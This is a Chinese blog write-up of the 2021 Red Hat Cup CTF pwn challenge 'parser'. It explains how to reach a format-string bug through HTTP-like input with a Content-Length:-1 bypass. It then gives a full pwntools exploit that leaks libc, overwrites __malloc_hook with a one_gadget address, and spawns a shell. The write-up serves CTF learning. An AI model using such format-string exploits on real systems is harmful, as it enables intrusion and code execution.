2021 红帽杯 pwn parser

在这里插入图片描述
不出意外的全绿。

在这里插入图片描述

主函数循环读。

在这里插入图片描述
这个地方有个陌生的函数,alloca。
C 语言里有一个 alloca 函数,可以在堆栈上分配一块内存,当前函数退出时,由于系统堆栈指针的调整,这块内存会被自动回收。

alloca 的函数原型是

void * alloca(size_t size);

它的汇编代码很简单,就两句

sub esp,eax
mov rax,rsp

他做的就是在栈上开空间,esp减长度,然后地址放在eax中。

alloca中的算式作用是让你的输入的长度对齐,对齐到16字节,然后保证不会溢出。

dest地址就是我们的alloca的地址,v10地址是栈里面的地址,一会会填一些信息。

下面的函数,分析起来很费劲,所以我们分析一些重要地方。

在这里插入图片描述程序把我们的输入切成了好几块,第一块是空格之前的,strchr函数能够找到空格并且返回地址。

在这里插入图片描述
判断第一个空格之前的东西,必须是上面的字符串中间的一个。

在这里插入图片描述
第二个空格之后的我们要注意第一个字符要求是’/’

在这里插入图片描述回车之后进入while循环。

在这里插入图片描述开始循环判断下面的内容
在这里插入图片描述
分开的时候中间必须有分号,然后我们判断while的条件,\n会结束循环。

在这里插入图片描述有格式化字符串漏洞,但是前面有一些绕过条件,我们需要通过回车后面的绕过,然后最后的部分用我们的payload。

总的来说就是
我们输入一个类似于报文的内容,中间会有两个空格,好多个回车。
第一个空格前要求POST等字符,中间要求第一个字符是’/’,后面是内容,中间冒号隔开,回车隔开,如果条件绕过,两个回车结束循环,利用格式化字符串漏洞。

要注意最后的one_gadget的选择,我们可以看到下面one_gadget选择的时候都有条件。
在这里插入图片描述
比如第一个要求 rsp&0xf = 0 以及rcx = 0 ,明显不符合条件。

在这里插入图片描述第三个one_gadget要求rsp + 0x70 = 0,条件符和,可以使用,就用它。

在这里插入图片描述

exp

from pwn import*

context.log_level = "debug"
context.arch = "amd64"

r = process("./parser")
libc = ELF("./libc-2.27.so")

gdb.attach(r, "b *$rebase(0x137d)")

payload = "POST" + " " + "/Desktop" + " " + "HTTP/1.0\n"
payload += "connection:Keep-Alive\n"
payload += "Content-Length:-1\n\n"

r.sendlineafter(">", payload + "%213$p")
r.recvuntil("0x")
libc_base = int(r.recv(12), 16) - 0x21b97
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c

print hex(libc_base)
print hex(malloc_hook)
print hex(one_gadget)

byte1 = (one_gadget & 0xff)
byte2 = ((one_gadget >> 8) & 0xff)
byte3 = ((one_gadget >> 16) & 0xff)
byte4 = ((one_gadget >> 24) & 0xff)
byte5 = ((one_gadget >> 32) & 0xff)
byte6 = ((one_gadget >> 40) & 0xff)
#六个字节分开

addr1 = byte1 + 0x100
addr2 = byte2 - byte1 + 0x100
addr3 = byte3 - byte2 + 0x100
addr4 = byte4 - byte3 + 0x100
addr5 = byte5 - byte4 + 0x100
addr6 = byte6 - byte5 + 0x100
#

payload1 = payload
payload1 += "%{}c".format(addr1)+"%110$hhn"
payload1 += "%{}c".format(addr2)+"%111$hhn"
payload1 += "%{}c".format(addr3)+"%112$hhn"
payload1 += "%{}c".format(addr4)+"%113$hhn"
payload1 += "%{}c".format(addr5)+"%114$hhn"
payload1 += "%{}c".format(addr6)+"%115$hhn"+"aa"
#偏移量110有点不大好找,把栈多往下拉一拉
#pwn的这个format用起来很棒

payload1 += p64(malloc_hook)
payload1 += p64(malloc_hook + 1)
payload1 += p64(malloc_hook + 2)
payload1 += p64(malloc_hook + 3)
payload1 += p64(malloc_hook + 4)
payload1 += p64(malloc_hook + 5)
r.sendlineafter(">", payload1)

payload2 = payload + "%100000c"
r.sendlineafter(">", payload2)

r.interactive()

ps:这种对栈环境有要求的,跑exp的时候多试几次。

也可以不用malloc_hook,可以直接修改返回地址。
首先泄露栈地址,计算返回地址,然后修改一些就行。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值